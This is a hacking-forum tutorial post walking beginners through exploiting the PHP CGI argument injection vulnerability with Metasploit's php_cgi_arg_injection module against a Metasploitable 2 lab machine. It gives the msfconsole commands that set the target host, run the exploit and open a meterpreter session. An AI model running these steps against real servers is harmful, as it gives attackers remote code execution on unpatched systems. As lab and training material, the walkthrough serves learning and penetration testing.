[Tutorial]PHP CGI ARGUMENT INJECTION using Metasploit[/Noob-Friendly]

"We are enlightenment to some, nightmare to others."

[Image: fRNYIQd.png]

Hello HackForum members ✌,
On the behalf of Nightmare group today i would like to demonstrate How we can do PHP CGI ARGUMENT INJECTION using Metasploit.

REFERENCES
So, If have you Don't know about metasploit then check my then tutorials:-
==>[Part 1]$~Metasploit for beginners<==

==>[Part 2]$~Metasploit for beginners<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters[updatated]<==

[Image: fRNYIQd.png]

So, If you already know about Metasploit then lets start.

The module that we are going to use is :-exploit/multi/http/php_cgi_arg_injection

About this vulnerablity-by Rapid7
So they say-"When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary.""

This means that if we try to pass/add some parameter we can run some arbitrary code using it.

So lets try to exploit it.

We are going to use Metasploitable 2.

1. Open Metasploit console.
[Image: H8B4rmb.png]

2. Then just select php_cgi_arg_injection module.

PHP Code 


<?php 
msf> use exploit/multi/http/php_cgi_arg_injection 

3. Now just set the options and exploit.

Quote:msf exploit(php_cgi_arg_injection) > set RHOST 172.16.18.134
RHOST => 172.16.18.134

msf exploit(php_cgi_arg_injection) > exploit

And done we got a meterpreter session.

[Image: rczIdmz.png]

4. Wanna check the info then type sysinfo their.
[Image: fnpqC7b.png]

Hope you liked my tutorial 👍

It took me 1 Hour to make this tutorial, But it will take only 1 sec. to leave a review/reply here. Please comment if you like this tutorial.

Check these amazing threads also.
[Image: ma9LeWX.png]

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

==>Beginners Hacking Helpdesk<-Ask Your Questions Here<==

==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>An ultimate reference for all Beginners Hackers<==
[Image: fRNYIQd.png]

Thanks 🤝